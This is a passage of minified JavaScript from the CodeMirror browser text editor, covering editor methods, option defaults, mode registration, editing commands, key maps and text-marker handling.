tb(pb(this.ranges[b].anchor),pb(this.ranges[b].head));return new sb(a,this.primIndex)},somethingSelected:function(){for(var a=0;a<this.ranges.length;a++)if(!this.ranges[a].empty())return!0;return!1},contains:function(a,b){b||(b=a);for(var c=0;c<this.ranges.length;c++){var d=this.ranges[c];if(ob(b,d.from())>=0&&ob(a,d.to())<=0)return c}return-1}},tb.prototype={from:function(){return rb(this.anchor,this.head)},to:function(){return qb(this.anchor,this.head)},empty:function(){return this.head.line==this.anchor.line&&this.head.ch==this.anchor.ch}};var wc,id,jd,gc={left:0,right:0,top:0,bottom:0},zc=null,Ac=0,Zc=null,pd=0,ud=0,vd=null;d?vd=-.53:a?vd=15:h?vd=-.7:j&&(vd=-1/3);var zd,Cd=null,Ld=w.changeEnd=function(a){return a.text?nb(a.from.line+a.text.length-1,Jg(a.text).length+(1==a.text.length?a.from.ch:0)):a.to};w.prototype={constructor:w,focus:function(){window.focus(),ad(this),Yc(this)},setOption:function(a,b){var c=this.options,d=c[a];(c[a]!=b||"mode"==a)&&(c[a]=b,je.hasOwnProperty(a)&&Lc(this,je[a])(this,b,d))},getOption:function(a){return this.options[a]},getDoc:function(){return this.doc},addKeyMap:function(a,b){this.state.keyMaps[b?"push":"unshift"](a)},removeKeyMap:function(a){for(var b=this.state.keyMaps,c=0;c<b.length;++c)if(b[c]==a||"string"!=typeof b[c]&&b[c].name==a)return b.splice(c,1),!0},addOverlay:Mc(function(a,b){var c=a.token?a:w.getMode(this.options,a);if(c.startState)throw new Error("Overlays may not be stateful.");this.state.overlays.push({mode:c,modeSpec:a,opaque:b&&b.opaque}),this.state.modeGen++,Qc(this)}),removeOverlay:Mc(function(a){for(var b=this.state.overlays,c=0;c<b.length;++c){var d=b[c].modeSpec;if(d==a||"string"==typeof a&&d.name==a)return b.splice(c,1),this.state.modeGen++,Qc(this),void 0}}),indentLine:Mc(function(a,b,c){"string"!=typeof b&&"number"!=typeof b&&(b=null==b?this.options.smartIndent?"smart":"prev":b?"add":"subtract"),zb(this.doc,a)&&de(this,a,b,c)}),indentSelection:Mc(function(a){for(var b=this.doc.sel.ranges,c=-1,d=0;d<b.length;d++){var e=b[d];if(e.empty())e.head.line>c&&(de(this,e.head.line,a,!0),c=e.head.line,d==this.doc.sel.primIndex&&be(this));else{var f=e.from(),g=e.to(),h=Math.max(c,f.line);c=Math.min(this.lastLine(),g.line-(g.ch?0:1))+1;for(var i=h;c>i;++i)de(this,i,a);var j=this.doc.sel.ranges;0==f.ch&&b.length==j.length&&j[d].from().ch>0&&Eb(this.doc,d,new tb(f,j[d].to()),Bg)}}}),getTokenAt:function(a,b){var c=this.doc;a=xb(c,a);for(var d=Xb(this,a.line,b),e=this.doc.mode,f=Of(c,a.line),g=new ze(f.text,this.options.tabSize);g.pos<a.ch&&!g.eol();){g.start=g.pos;var h=pf(e,g,d)}return{start:g.start,end:g.pos,string:g.current(),type:h||null,state:d}},getTokenTypeAt:function(a){a=xb(this.doc,a);var f,b=sf(this,Of(this.doc,a.line)),c=0,d=(b.length-1)/2,e=a.ch;if(0==e)f=b[2];else for(;;){var g=c+d>>1;if((g?b[2*g-1]:0)>=e)d=g;else{if(!(b[2*g+1]<e)){f=b[2*g+2];break}c=g+1}}var h=f?f.indexOf("cm-overlay "):-1;return 0>h?f:0==h?null:f.slice(0,h-1)},getModeAt:function(a){var b=this.doc.mode;return b.innerMode?w.innerMode(b,this.getTokenAt(a).state).mode:b},getHelper:function(a,b){return this.getHelpers(a,b)[0]},getHelpers:function(a,b){var c=[];if(!qe.hasOwnProperty(b))return qe;var d=qe[b],e=this.getModeAt(a);if("string"==typeof e[b])d[e[b]]&&c.push(d[e[b]]);else if(e[b])for(var f=0;f<e[b].length;f++){var g=d[e[b][f]];g&&c.push(g)}else e.helperType&&d[e.helperType]?c.push(d[e.helperType]):d[e.name]&&c.push(d[e.name]);for(var f=0;f<d._global.length;f++){var h=d._global[f];h.pred(e,this)&&-1==Lg(c,h.val)&&c.push(h.val)}return c},getStateAfter:function(a,b){var c=this.doc;return a=wb(c,null==a?c.first+c.size-1:a),Xb(this,a+1,b)},cursorCoords:function(a,b){var c,d=this.doc.sel.primary();return c=null==a?d.head:"object"==typeof a?xb(this.doc,a):a?d.from():d.to(),rc(this,c,b||"page")},charCoords:function(a,b){return qc(this,xb(this.doc,a),b||"page")},coordsChar:function(a,b){return a=pc(this,a,b||"page"),uc(this,a.left,a.top)},lineAtHeight:function(a,b){return a=pc(this,{top:a,left:0},b||"page").top,Tf(this.doc,a+this.display.viewOffset)},heightAtLine:function(a,b){var c=!1,d=this.doc.first+this.doc.size-1;a<this.doc.first?a=this.doc.first:a>d&&(a=d,c=!0);var e=Of(this.doc,a);return oc(this,e,{top:0,left:0},b||"page").top+(c?this.doc.height-Uf(e):0)},defaultTextHeight:function(){return xc(this.display)},defaultCharWidth:function(){return yc(this.display)},setGutterMarker:Mc(function(a,b,c){return ee(this.doc,a,"gutter",function(a){var d=a.gutterMarkers||(a.gutterMarkers={});return d[b]=c,!c&&Tg(d)&&(a.gutterMarkers=null),!0})}),clearGutter:Mc(function(a){var b=this,c=b.doc,d=c.first;c.iter(function(c){c.gutterMarkers&&c.gutterMarkers[a]&&(c.gutterMarkers[a]=null,Rc(b,d,"gutter"),Tg(c.gutterMarkers)&&(c.gutterMarkers=null)),++d})}),addLineWidget:Mc(function(a,b,c){return jf(this,a,b,c)}),removeLineWidget:function(a){a.clear()},lineInfo:function(a){if("number"==typeof a){if(!zb(this.doc,a))return null;var b=a;if(a=Of(this.doc,a),!a)return null}else{var b=Sf(a);if(null==b)return null}return{line:b,handle:a,text:a.text,gutterMarkers:a.gutterMarkers,textClass:a.textClass,bgClass:a.bgClass,wrapClass:a.wrapClass,widgets:a.widgets}},getViewport:function(){return{from:this.display.viewFrom,to:this.display.viewTo}},addWidget:function(a,b,c,d,e){var f=this.display;a=rc(this,xb(this.doc,a));var g=a.bottom,h=a.left;if(b.style.position="absolute",f.sizer.appendChild(b),"over"==d)g=a.top;else if("above"==d||"near"==d){var i=Math.max(f.wrapper.clientHeight,this.doc.height),j=Math.max(f.sizer.clientWidth,f.lineSpace.clientWidth);("above"==d||a.bottom+b.offsetHeight>i)&&a.top>b.offsetHeight?g=a.top-b.offsetHeight:a.bottom+b.offsetHeight<=i&&(g=a.bottom),h+b.offsetWidth>j&&(h=j-b.offsetWidth)}b.style.top=g+"px",b.style.left=b.style.right="","right"==e?(h=f.sizer.clientWidth-b.offsetWidth,b.style.right="0px"):("left"==e?h=0:"middle"==e&&(h=(f.sizer.clientWidth-b.offsetWidth)/2),b.style.left=h+"px"),c&&$d(this,h,g,h+b.offsetWidth,g+b.offsetHeight)},triggerOnKeyDown:Mc(Dd),triggerOnKeyPress:Mc(Gd),triggerOnKeyUp:Fd,execCommand:function(a){return te.hasOwnProperty(a)?te[a](this):void 0},findPosH:function(a,b,c,d){var e=1;0>b&&(e=-1,b=-b);
for(var f=0,g=xb(this.doc,a);b>f&&(g=ge(this.doc,g,e,c,d),!g.hitSide);++f);return g},moveH:Mc(function(a,b){var c=this;c.extendSelectionsBy(function(d){return c.display.shift||c.doc.extend||d.empty()?ge(c.doc,d.head,a,b,c.options.rtlMoveVisually):0>a?d.from():d.to()},Dg)}),deleteH:Mc(function(a,b){var c=this.doc.sel,d=this.doc;c.somethingSelected()?d.replaceSelection("",null,"+delete"):fe(this,function(c){var e=ge(d,c.head,a,b,!1);return 0>a?{from:e,to:c.head}:{from:c.head,to:e}})}),findPosV:function(a,b,c,d){var e=1,f=d;0>b&&(e=-1,b=-b);for(var g=0,h=xb(this.doc,a);b>g;++g){var i=rc(this,h,"div");if(null==f?f=i.left:i.left=f,h=he(this,i,e,c),h.hitSide)break}return h},moveV:Mc(function(a,b){var c=this,d=this.doc,e=[],f=!c.display.shift&&!d.extend&&d.sel.somethingSelected();if(d.extendSelectionsBy(function(g){if(f)return 0>a?g.from():g.to();var h=rc(c,g.head,"div");null!=g.goalColumn&&(h.left=g.goalColumn),e.push(h.left);var i=he(c,h,a,b);return"page"==b&&g==d.sel.primary()&&ae(c,null,qc(c,i,"div").top-h.top),i},Dg),e.length)for(var g=0;g<d.sel.ranges.length;g++)d.sel.ranges[g].goalColumn=e[g]}),findWordAt:function(a){var b=this.doc,c=Of(b,a.line).text,d=a.ch,e=a.ch;if(c){var f=this.getHelper(a,"wordChars");(a.xRel<0||e==c.length)&&d?--d:++e;for(var g=c.charAt(d),h=Sg(g,f)?function(a){return Sg(a,f)}:/\s/.test(g)?function(a){return/\s/.test(a)}:function(a){return!/\s/.test(a)&&!Sg(a)};d>0&&h(c.charAt(d-1));)--d;for(;e<c.length&&h(c.charAt(e));)++e}return new tb(nb(a.line,d),nb(a.line,e))},toggleOverwrite:function(a){(null==a||a!=this.state.overwrite)&&((this.state.overwrite=!this.state.overwrite)?ch(this.display.cursorDiv,"CodeMirror-overwrite"):bh(this.display.cursorDiv,"CodeMirror-overwrite"),rg(this,"overwriteToggle",this,this.state.overwrite))},hasFocus:function(){return _g()==this.display.input},scrollTo:Mc(function(a,b){(null!=a||null!=b)&&ce(this),null!=a&&(this.curOp.scrollLeft=a),null!=b&&(this.curOp.scrollTop=b)}),getScrollInfo:function(){var a=this.display.scroller,b=zg;return{left:a.scrollLeft,top:a.scrollTop,height:a.scrollHeight-b,width:a.scrollWidth-b,clientHeight:a.clientHeight-b,clientWidth:a.clientWidth-b}},scrollIntoView:Mc(function(a,b){if(null==a?(a={from:this.doc.sel.primary().head,to:null},null==b&&(b=this.options.cursorScrollMargin)):"number"==typeof a?a={from:nb(a,0),to:null}:null==a.from&&(a={from:a,to:null}),a.to||(a.to=a.from),a.margin=b||0,null!=a.from.line)ce(this),this.curOp.scrollToPos=a;else{var c=_d(this,Math.min(a.from.left,a.to.left),Math.min(a.from.top,a.to.top)-a.margin,Math.max(a.from.right,a.to.right),Math.max(a.from.bottom,a.to.bottom)+a.margin);this.scrollTo(c.scrollLeft,c.scrollTop)}}),setSize:Mc(function(a,b){function d(a){return"number"==typeof a||/^\d+$/.test(String(a))?a+"px":a}var c=this;null!=a&&(c.display.wrapper.style.width=d(a)),null!=b&&(c.display.wrapper.style.height=d(b)),c.options.lineWrapping&&kc(this);var e=c.display.viewFrom;c.doc.iter(e,c.display.viewTo,function(a){if(a.widgets)for(var b=0;b<a.widgets.length;b++)if(a.widgets[b].noHScroll){Rc(c,e,"widget");break}++e}),c.curOp.forceUpdate=!0,rg(c,"refresh",this)}),operation:function(a){return Kc(this,a)},refresh:Mc(function(){var a=this.display.cachedTextHeight;Qc(this),this.curOp.forceUpdate=!0,lc(this),this.scrollTo(this.doc.scrollLeft,this.doc.scrollTop),H(this),(null==a||Math.abs(a-xc(this.display))>.5)&&C(this),rg(this,"refresh",this)}),swapDoc:Mc(function(a){var b=this.doc;return b.cm=null,Nf(this,a),lc(this),_c(this),this.scrollTo(a.scrollLeft,a.scrollTop),this.curOp.forceScroll=!0,tg(this,"swapDoc",this,b),b}),getInputField:function(){return this.display.input},getWrapperElement:function(){return this.display.wrapper},getScrollerElement:function(){return this.display.scroller},getGutterElement:function(){return this.display.gutters}},yg(w);var ie=w.defaults={},je=w.optionHandlers={},le=w.Init={toString:function(){return"CodeMirror.Init"}};ke("value","",function(a,b){a.setValue(b)},!0),ke("mode",null,function(a,b){a.doc.modeOption=b,y(a)},!0),ke("indentUnit",2,y,!0),ke("indentWithTabs",!1),ke("smartIndent",!0),ke("tabSize",4,function(a){z(a),lc(a),Qc(a)},!0),ke("specialChars",/[\t\u0000-\u0019\u00ad\u200b-\u200f\u2028\u2029\ufeff]/g,function(a,b){a.options.specialChars=new RegExp(b.source+(b.test("	")?"":"|	"),"g"),a.refresh()},!0),ke("specialCharPlaceholder",yf,function(a){a.refresh()},!0),ke("electricChars",!0),ke("rtlMoveVisually",!q),ke("wholeLineUpdateBefore",!0),ke("theme","default",function(a){E(a),F(a)},!0),ke("keyMap","default",D),ke("extraKeys",null),ke("lineWrapping",!1,A,!0),ke("gutters",[],function(a){K(a.options),F(a)},!0),ke("fixedGutter",!0,function(a,b){a.display.gutters.style.left=b?S(a.display)+"px":"0",a.refresh()},!0),ke("coverGutterNextToScrollbar",!1,N,!0),ke("lineNumbers",!1,function(a){K(a.options),F(a)},!0),ke("firstLineNumber",1,F,!0),ke("lineNumberFormatter",function(a){return a},F,!0),ke("showCursorWhenSelecting",!1,Qb,!0),ke("resetSelectionOnContextMenu",!0),ke("readOnly",!1,function(a,b){"nocursor"==b?(Id(a),a.display.input.blur(),a.display.disabled=!0):(a.display.disabled=!1,b||_c(a))}),ke("disableInput",!1,function(a,b){b||_c(a)},!0),ke("dragDrop",!0),ke("cursorBlinkRate",530),ke("cursorScrollMargin",0),ke("cursorHeight",1,Qb,!0),ke("singleCursorHeightPerLine",!0,Qb,!0),ke("workTime",100),ke("workDelay",100),ke("flattenSpans",!0,z,!0),ke("addModeClass",!1,z,!0),ke("pollInterval",100),ke("undoDepth",200,function(a,b){a.doc.history.undoDepth=b}),ke("historyEventDelay",1250),ke("viewportMargin",10,function(a){a.refresh()},!0),ke("maxHighlightLength",1e4,z,!0),ke("moveInputWithCursor",!0,function(a,b){b||(a.display.inputDiv.style.top=a.display.inputDiv.style.left=0)}),ke("tabindex",null,function(a,b){a.display.input.tabIndex=b||""}),ke("autofocus",null);var me=w.modes={},ne=w.mimeModes={};w.defineMode=function(a,b){w.defaults.mode||"null"==a||(w.defaults.mode=a),arguments.length>2&&(b.dependencies=Array.prototype.slice.call(arguments,2)),me[a]=b},w.defineMIME=function(a,b){ne[a]=b},w.resolveMode=function(a){if("string"==typeof a&&ne.hasOwnProperty(a))a=ne[a];else if(a&&"string"==typeof a.name&&ne.hasOwnProperty(a.name)){var b=ne[a.name];"string"==typeof b&&(b={name:b}),a=Ng(b,a),a.name=b.name}else if("string"==typeof a&&/^[\w\-]+\/[\w\-]+\+xml$/.test(a))return w.resolveMode("application/xml");return"string"==typeof a?{name:a}:a||{name:"null"}},w.getMode=function(a,b){var b=w.resolveMode(b),c=me[b.name];if(!c)return w.getMode(a,"text/plain");var d=c(a,b);if(oe.hasOwnProperty(b.name)){var e=oe[b.name];for(var f in e)e.hasOwnProperty(f)&&(d.hasOwnProperty(f)&&(d["_"+f]=d[f]),d[f]=e[f])}if(d.name=b.name,b.helperType&&(d.helperType=b.helperType),b.modeProps)for(var f in b.modeProps)d[f]=b.modeProps[f];return d},w.defineMode("null",function(){return{token:function(a){a.skipToEnd()}}}),w.defineMIME("text/plain","null");var oe=w.modeExtensions={};w.extendMode=function(a,b){var c=oe.hasOwnProperty(a)?oe[a]:oe[a]={};Og(b,c)},w.defineExtension=function(a,b){w.prototype[a]=b},w.defineDocExtension=function(a,b){Jf.prototype[a]=b},w.defineOption=ke;var pe=[];w.defineInitHook=function(a){pe.push(a)};var qe=w.helpers={};w.registerHelper=function(a,b,c){qe.hasOwnProperty(a)||(qe[a]=w[a]={_global:[]}),qe[a][b]=c},w.registerGlobalHelper=function(a,b,c,d){w.registerHelper(a,b,d),qe[a]._global.push({pred:c,val:d})};var re=w.copyState=function(a,b){if(b===!0)return b;if(a.copyState)return a.copyState(b);var c={};for(var d in b){var e=b[d];e instanceof Array&&(e=e.concat([])),c[d]=e}return c},se=w.startState=function(a,b,c){return a.startState?a.startState(b,c):!0};w.innerMode=function(a,b){for(;a.innerMode;){var c=a.innerMode(b);if(!c||c.mode==a)break;b=c.state,a=c.mode}return c||{mode:a,state:b}};var te=w.commands={selectAll:function(a){a.setSelection(nb(a.firstLine(),0),nb(a.lastLine()),Bg)},singleSelection:function(a){a.setSelection(a.getCursor("anchor"),a.getCursor("head"),Bg)},killLine:function(a){fe(a,function(b){if(b.empty()){var c=Of(a.doc,b.head.line).text.length;return b.head.ch==c&&b.head.line<a.lastLine()?{from:b.head,to:nb(b.head.line+1,0)}:{from:b.head,to:nb(b.head.line,c)}}return{from:b.from(),to:b.to()}})},deleteLine:function(a){fe(a,function(b){return{from:nb(b.from().line,0),to:xb(a.doc,nb(b.to().line+1,0))}})},delLineLeft:function(a){fe(a,function(a){return{from:nb(a.from().line,0),to:a.from()}})},delWrappedLineLeft:function(a){fe(a,function(b){var c=a.charCoords(b.head,"div").top+5,d=a.coordsChar({left:0,top:c},"div");return{from:d,to:b.from()}})},delWrappedLineRight:function(a){fe(a,function(b){var c=a.charCoords(b.head,"div").top+5,d=a.coordsChar({left:a.display.lineDiv.offsetWidth+100,top:c},"div");return{from:b.from(),to:d}})},undo:function(a){a.undo()},redo:function(a){a.redo()},undoSelection:function(a){a.undoSelection()},redoSelection:function(a){a.redoSelection()},goDocStart:function(a){a.extendSelection(nb(a.firstLine(),0))},goDocEnd:function(a){a.extendSelection(nb(a.lastLine()))},goLineStart:function(a){a.extendSelectionsBy(function(b){return Ah(a,b.head.line)},{origin:"+move",bias:1})},goLineStartSmart:function(a){a.extendSelectionsBy(function(b){return Ch(a,b.head)},{origin:"+move",bias:1})},goLineEnd:function(a){a.extendSelectionsBy(function(b){return Bh(a,b.head.line)},{origin:"+move",bias:-1})},goLineRight:function(a){a.extendSelectionsBy(function(b){var c=a.charCoords(b.head,"div").top+5;return a.coordsChar({left:a.display.lineDiv.offsetWidth+100,top:c},"div")},Dg)},goLineLeft:function(a){a.extendSelectionsBy(function(b){var c=a.charCoords(b.head,"div").top+5;return a.coordsChar({left:0,top:c},"div")},Dg)},goLineLeftSmart:function(a){a.extendSelectionsBy(function(b){var c=a.charCoords(b.head,"div").top+5,d=a.coordsChar({left:0,top:c},"div");return d.ch<a.getLine(d.line).search(/\S/)?Ch(a,b.head):d},Dg)},goLineUp:function(a){a.moveV(-1,"line")},goLineDown:function(a){a.moveV(1,"line")},goPageUp:function(a){a.moveV(-1,"page")},goPageDown:function(a){a.moveV(1,"page")},goCharLeft:function(a){a.moveH(-1,"char")},goCharRight:function(a){a.moveH(1,"char")},goColumnLeft:function(a){a.moveH(-1,"column")},goColumnRight:function(a){a.moveH(1,"column")},goWordLeft:function(a){a.moveH(-1,"word")},goGroupRight:function(a){a.moveH(1,"group")},goGroupLeft:function(a){a.moveH(-1,"group")},goWordRight:function(a){a.moveH(1,"word")},delCharBefore:function(a){a.deleteH(-1,"char")},delCharAfter:function(a){a.deleteH(1,"char")},delWordBefore:function(a){a.deleteH(-1,"word")},delWordAfter:function(a){a.deleteH(1,"word")},delGroupBefore:function(a){a.deleteH(-1,"group")},delGroupAfter:function(a){a.deleteH(1,"group")},indentAuto:function(a){a.indentSelection("smart")},indentMore:function(a){a.indentSelection("add")},indentLess:function(a){a.indentSelection("subtract")},insertTab:function(a){a.replaceSelection("	")},insertSoftTab:function(a){for(var b=[],c=a.listSelections(),d=a.options.tabSize,e=0;e<c.length;e++){var f=c[e].from(),g=Fg(a.getLine(f.line),f.ch,d);b.push(new Array(d-g%d+1).join(" "))}a.replaceSelections(b)},defaultTab:function(a){a.somethingSelected()?a.indentSelection("add"):a.execCommand("insertTab")},transposeChars:function(a){Kc(a,function(){for(var b=a.listSelections(),c=[],d=0;d<b.length;d++){var e=b[d].head,f=Of(a.doc,e.line).text;if(f)if(e.ch==f.length&&(e=new nb(e.line,e.ch-1)),e.ch>0)e=new nb(e.line,e.ch+1),a.replaceRange(f.charAt(e.ch-1)+f.charAt(e.ch-2),nb(e.line,e.ch-2),e,"+transpose");else if(e.line>a.doc.first){var g=Of(a.doc,e.line-1).text;g&&a.replaceRange(f.charAt(0)+"\n"+g.charAt(g.length-1),nb(e.line-1,g.length-1),nb(e.line,1),"+transpose")}c.push(new tb(e,e))}a.setSelections(c)})},newlineAndIndent:function(a){Kc(a,function(){for(var b=a.listSelections().length,c=0;b>c;c++){var d=a.listSelections()[c];a.replaceRange("\n",d.anchor,d.head,"+input"),a.indentLine(d.from().line+1,null,!0),be(a)}})},toggleOverwrite:function(a){a.toggleOverwrite()}},ue=w.keyMap={};ue.basic={Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite",Esc:"singleSelection"},ue.pcDefault={"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Up":"goLineUp","Ctrl-Down":"goLineDown","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart","Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore","Ctrl-U":"undoSelection","Shift-Ctrl-U":"redoSelection","Alt-U":"redoSelection",fallthrough:"basic"},ue.macDefault={"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Home":"goDocStart","Cmd-Up":"goDocStart","Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineLeft","Cmd-Right":"goLineRight","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delWrappedLineLeft","Cmd-Delete":"delWrappedLineRight","Cmd-U":"undoSelection","Shift-Cmd-U":"redoSelection","Ctrl-Up":"goDocStart","Ctrl-Down":"goDocEnd",fallthrough:["basic","emacsy"]},ue.emacsy={"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars"},ue["default"]=p?ue.macDefault:ue.pcDefault;var we=w.lookupKey=function(a,b,c){function d(b){b=ve(b);var e=b[a];if(e===!1)return"stop";if(null!=e&&c(e))return!0;if(b.nofallthrough)return"stop";var f=b.fallthrough;if(null==f)return!1;if("[object Array]"!=Object.prototype.toString.call(f))return d(f);for(var g=0;g<f.length;++g){var h=d(f[g]);if(h)return h}return!1}for(var e=0;e<b.length;++e){var f=d(b[e]);if(f)return"stop"!=f}},xe=w.isModifierKey=function(a){var b=uh[a.keyCode];return"Ctrl"==b||"Alt"==b||"Shift"==b||"Mod"==b},ye=w.keyName=function(a,b){if(i&&34==a.keyCode&&a["char"])return!1;var c=uh[a.keyCode];return null==c||a.altGraphKey?!1:(a.altKey&&(c="Alt-"+c),(s?a.metaKey:a.ctrlKey)&&(c="Ctrl-"+c),(s?a.ctrlKey:a.metaKey)&&(c="Cmd-"+c),!b&&a.shiftKey&&(c="Shift-"+c),c)};w.fromTextArea=function(a,b){function d(){a.value=i.getValue()}if(b||(b={}),b.value=a.value,!b.tabindex&&a.tabindex&&(b.tabindex=a.tabindex),!b.placeholder&&a.placeholder&&(b.placeholder=a.placeholder),null==b.autofocus){var c=_g();b.autofocus=c==a||null!=a.getAttribute("autofocus")&&c==document.body}if(a.form&&(pg(a.form,"submit",d),!b.leaveSubmitMethodAlone)){var e=a.form,f=e.submit;try{var g=e.submit=function(){d(),e.submit=f,e.submit(),e.submit=g}}catch(h){}}a.style.display="none";var i=w(function(b){a.parentNode.insertBefore(b,a.nextSibling)},b);return i.save=d,i.getTextArea=function(){return a},i.toTextArea=function(){i.toTextArea=isNaN,d(),a.parentNode.removeChild(i.getWrapperElement()),a.style.display="",a.form&&(qg(a.form,"submit",d),"function"==typeof a.form.submit&&(a.form.submit=f))},i};var ze=w.StringStream=function(a,b){this.pos=this.start=0,this.string=a,this.tabSize=b||8,this.lastColumnPos=this.lastColumnValue=0,this.lineStart=0};ze.prototype={eol:function(){return this.pos>=this.string.length},sol:function(){return this.pos==this.lineStart},peek:function(){return this.string.charAt(this.pos)||void 0},next:function(){return this.pos<this.string.length?this.string.charAt(this.pos++):void 0},eat:function(a){var b=this.string.charAt(this.pos);if("string"==typeof a)var c=b==a;else var c=b&&(a.test?a.test(b):a(b));return c?(++this.pos,b):void 0},eatWhile:function(a){for(var b=this.pos;this.eat(a););return this.pos>b},eatSpace:function(){for(var a=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos>a},skipToEnd:function(){this.pos=this.string.length},skipTo:function(a){var b=this.string.indexOf(a,this.pos);return b>-1?(this.pos=b,!0):void 0},backUp:function(a){this.pos-=a},column:function(){return this.lastColumnPos<this.start&&(this.lastColumnValue=Fg(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue),this.lastColumnPos=this.start),this.lastColumnValue-(this.lineStart?Fg(this.string,this.lineStart,this.tabSize):0)},indentation:function(){return Fg(this.string,null,this.tabSize)-(this.lineStart?Fg(this.string,this.lineStart,this.tabSize):0)},match:function(a,b,c){if("string"!=typeof a){var f=this.string.slice(this.pos).match(a);return f&&f.index>0?null:(f&&b!==!1&&(this.pos+=f[0].length),f)}var d=function(a){return c?a.toLowerCase():a},e=this.string.substr(this.pos,a.length);return d(e)==d(a)?(b!==!1&&(this.pos+=a.length),!0):void 0},current:function(){return this.string.slice(this.start,this.pos)},hideFirstChars:function(a,b){this.lineStart+=a;try{return b()}finally{this.lineStart-=a}}};var Ae=w.TextMarker=function(a,b){this.lines=[],this.type=b,this.doc=a};yg(Ae),Ae.prototype.clear=function(){if(!this.explicitlyCleared){var a=this.doc.cm,b=a&&!a.curOp;if(b&&Bc(a),xg(this,"clear")){var c=this.find();c&&tg(this,"clear",c.from,c.to)}for(var d=null,e=null,f=0;f<this.lines.length;++f){var g=this.lines[f],h=Je(g.markedSpans,this);a&&!this.collapsed?Rc(a,Sf(g),"text"):a&&(null!=h.to&&(e=Sf(g)),null!=h.from&&(d=Sf(g))),g.markedSpans=Ke(g.markedSpans,h),null==h.from&&this.collapsed&&!df(this.doc,g)&&a&&Rf(g,xc(a.display))}if(a&&this.collapsed&&!a.options.lineWrapping)for(var f=0;f<this.lines.length;++f){var i=_e(this.lines[f]),j=I(i);j>a.display.maxLineLength&&(a.display.maxLine=i,a.display.maxLineLength=j,a.display.maxLineChanged=!0)}null!=d&&a&&this.collapsed&&Qc(a,d,e+1),this.lines.length=0,this.explicitlyCleared=!0,this.atomic&&this.doc.cantEdit&&(this.doc.cantEdit=!1,a&&Lb(a.doc)),a&&tg(a,"markerCleared",a,this),b&&Dc(a),this.parent&&this.parent.clear()}},Ae.prototype.find=function(a,b){null==a&&"bookmark"==this.type&&(a=1);for(var c,d,e=0;e<this.lines.length;++e){var f=this.lines[e],g=Je(f.markedSpans,this);if(null!=g.from&&(c=nb(b?f:Sf(f),g.from),-1==a))return c;if(null!=g.to&&(d=nb(b?f:Sf(f),g.to),1==a))return d}return c&&{from:c,to:d}},Ae.prototype.changed=function(){var a=this.find(-1,!0),b=this,c=this.doc.cm;a&&c&&Kc(c,function(){var d=a.line,e=Sf(a.line),f=dc(c,e);if(f&&(jc(f),c.curOp.selectionChanged=c.curOp.forceUpdate=!0),c.curOp.updateMaxLine=!0,!df(b.doc,d)&&null!=b.height){var g=b.height;b.height=null;var h=hf(b)-g;h&&Rf(d,d.height+h)}})},Ae.prototype.attachLine=function(a){if(!this.lines.length&&this.doc.cm){var b=this.doc.cm.curOp;b.maybeHiddenMarkers&&-1!=Lg(b.maybeHiddenMarkers,this)||(b.maybeUnhiddenMarkers||(b.maybeUnhiddenMarkers=[])).push(this)}this.lines.push(a)},Ae.prototype.detachLine=function(a){if(this.lines.splice(Lg(this.lines,a),1),!this.lines.length&&this.doc.cm){var b=this.doc.cm.curOp;(b.maybeHiddenMarkers||(b.maybeHiddenMarkers=[])).push(this)}};var Be=0,De=w.SharedTextMarker=function(a,b){this.markers=a,this.primary=b;for(var c=0;c<a.length;++c)a[c].parent=this};yg(De),De.prototype.clear=function(){if(!this.explicitlyCleared){this.explicitlyCleared=!0;for(var a=0;a<this.markers.length;++a)this.markers[a].clear();tg(this,"clear")}},De.prototype.find=function(a,b){return this.primary.find(a,b)};var ff=w.LineWidget=function(a,b,c){if(c)for(var d in c)c.hasOwnProperty(d)&&(this[d]=c[d]);this.cm=a,this.node=b};yg(ff),ff.prototype.clear=function(){var a=this.cm,b=this.line.widgets,c=this.line,d=Sf(c);if(null!=d&&b){for(var e=0;e<b.length;++e)b[e]==this&&b.splice(e--,1);b.length||(c.widgets=null);var f=hf(this);Kc(a,function(){gf(a,c,-f),Rc(a,d,"widget"),Rf(c,Math.max(0,c.height-f))})}},ff.prototype.changed=function(){var a=this.height,b=this.cm,c=this.line;this.height=null;var d=hf(this)-a;d&&Kc(b,function(){b.curOp.forceUpdate=!0,gf(b,c,d),Rf(c,c.height+d)})};var kf=w.Line=function(a,b,c){this.text=a,Te(this,b),this.height=c?c(this):1};yg(kf),kf.prototype.lineNo=function(){return Sf(this)};var 